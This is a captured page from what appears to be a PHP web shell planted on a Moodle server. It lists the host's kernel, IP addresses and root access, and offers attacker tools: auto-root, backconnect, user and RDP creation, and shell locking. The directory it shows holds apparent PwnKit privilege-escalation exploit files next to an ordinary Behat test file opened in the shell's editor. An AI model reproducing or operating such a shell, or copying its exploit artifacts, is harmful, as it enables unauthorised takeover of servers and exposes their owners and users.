Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
repository /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_filepicker.php
20.04
KB
-rwxrwxrwx
cancel_add_file.feature
1.45
KB
-rwxrwxrwx
create_folders.feature
1.01
KB
-rwxrwxrwx
create_shortcut.feature
3.28
KB
-rwxrwxrwx
delete_files.feature
4.26
KB
-rwxrwxrwx
edit_file.feature
3.05
KB
-rwxrwxrwx
overwrite_file.feature
2.32
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
select_file.feature
2.97
KB
-rwxrwxrwx
zip_and_unzip.feature
1.23
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : overwrite_file.feature
@core @core_filepicker @_file_upload Feature: Overwrite file feature In order to update an existing file As a user I need to pick the file with the same name and select to overwrite @javascript @_bug_phantomjs Scenario: Upload a file in filemanager and overwrite it Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Terry | Teacher | teacher1@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | When I log in as "teacher1" And I follow "Manage private files" And I upload "lib/tests/fixtures/empty.txt" file to "Files" filemanager Then I should see "1" elements in "Files" filemanager And I upload and overwrite "lib/tests/fixtures/empty.txt" file to "Files" filemanager And I should see "1" elements in "Files" filemanager And I upload "lib/tests/fixtures/empty.txt" file to "Files" filemanager as: | Save as | empty_copy.txt | And I should see "2" elements in "Files" filemanager And I upload and overwrite "lib/tests/fixtures/empty.txt" file to "Files" filemanager as: | Save as | empty_copy.txt | And I should see "2" elements in "Files" filemanager And I press "Save changes" And I am on "Course 1" course homepage with editing mode on And I add a "Folder" to section "1" And I set the following fields to these values: | Name | Test folder | | Description | Test folder description | And I add "empty.txt" file from "Private files" to "Files" filemanager And I should see "1" elements in "Files" filemanager And I add and overwrite "empty.txt" file from "Private files" to "Files" filemanager And I should see "1" elements in "Files" filemanager And I add "empty.txt" file from "Private files" to "Files" filemanager as: | Save as | empty_copy.txt | And I should see "2" elements in "Files" filemanager And I add and overwrite "empty.txt" file from "Private files" to "Files" filemanager as: | Save as | empty_copy.txt | And I should see "2" elements in "Files" filemanager And I press "Save and display" And I should see "empty.txt" And I should see "empty_copy.txt"
Close